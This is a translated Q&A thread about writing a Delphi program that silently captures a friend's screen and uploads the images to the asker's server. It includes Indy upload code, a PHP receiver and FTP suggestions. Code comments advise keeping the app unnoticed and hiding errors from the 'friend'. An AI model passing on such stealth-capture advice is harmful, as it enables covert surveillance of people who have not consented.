理念
我和一个朋友想和另一个朋友开个玩笑,然后制作一个delphi应用程序来拍摄我们朋友的屏幕截图然后发送到我的电脑。
问题
问题是我和我的朋友不知道如何将图像发送到我的电脑。知道怎么样?
我尝试过GolezTrol所说的
这是代码(从第27行开始)
procedure TForm1.Button1Click(Sender: TObject);
var
Params: TIMultipartFormDataStream;
Response1: TStringStream;
begin
try
Params := TIMultipartFormDataStream.create;
Response1 := TStringStream.Create;
try
Params.AddFile('file', 'C:\temp\YourTempImageName.jpg', 'image/jpg');
IdHTTP1.Post('http://localhost/uploadimage.php', Params, Response1);
finally
Params.Free;
Response1.Free;
end;
end;
(我正忙着努力让它发挥作用。)
额外信息 重新考虑之后,我再也看不到有趣的一面了。顺便说一下,我不打算把我的朋友身份搞得一团糟。在告诉他我们想做什么后,他向我们提出了尝试(他打赌我们做不到)。
答案 0 :(得分:6)
通过HTTP,您可以在Multipart Formdata发布请求中发送图像。当您通过HTML表单上传图像时,这是一种相同的请求。服务器不会知道区别。 :)
上传非常简单。您创建一个MultipartFormDataStream,它具有添加文件的方法。然后,您可以使用TIdHTTP发送它。您可以在运行时创建它,但如果安装了Indy组件,也可以将其放在表单上。我做了,并将其保留为默认名称IdHTTP1
。
在示例中,我从磁盘加载文件,但可以直接从流加载文件。我没有尝试过,但我认为加载临时文件会有效。
客户端的Delphi代码:
var
Params: TIdMultipartFormDataStream;
Response: TStringStream;
begin
try
Params := TIdMultipartFormDataStream.Create;
Response := TStringStream.Create;
try
Params.AddFile('file', 'C:\temp\YourTempImageName.jpg', 'image/jpg');
// Substiture real url below.
IdHTTP1.Post('http://localhost/uploadimage.php', Params, Response);
// For testing purposes, you may show the response.
//Memo1.Text := Response.DataString;
finally
// Free resources. Important if you want your app to keep running
// without being noticed.
Params.Free;
Response.Free;
end;
except
// Log exception for testing. Don't let it show to the 'friend'.
//on e: Exception d
// Memo1.Lines.Add(e.Message);
end;
end;
对于服务器,您可以使用任何允许保存文件的PHP服务器。我已经包含了下面最简单的例子。当然你也可以用其他语言编写服务器软件,包括Delphi。但是如果你用Delphi编写它,你将需要一个可用的Windows服务器。
服务器的PHP代码示例:
<?php
if (isset($_FILES['file']) && $_FILES['file']['error'] == UPLOAD_ERR_OK)
{
// Choose your proper directory here.
$target = 'C:\\ff\\uploads\\' . time();
$result = move_uploaded_file($_FILES['file']['tmp_name'], $target);
if (!$result) {
echo 'Cannot copy'; // This response is sent to the client.
}
}
答案 1 :(得分:1)
如果您有一些可通过FTP访问的Web空间,则可以使用IdFTP或WinInet FTP功能。 (我通过ADSL连接获得了100MB的免费网络空间。)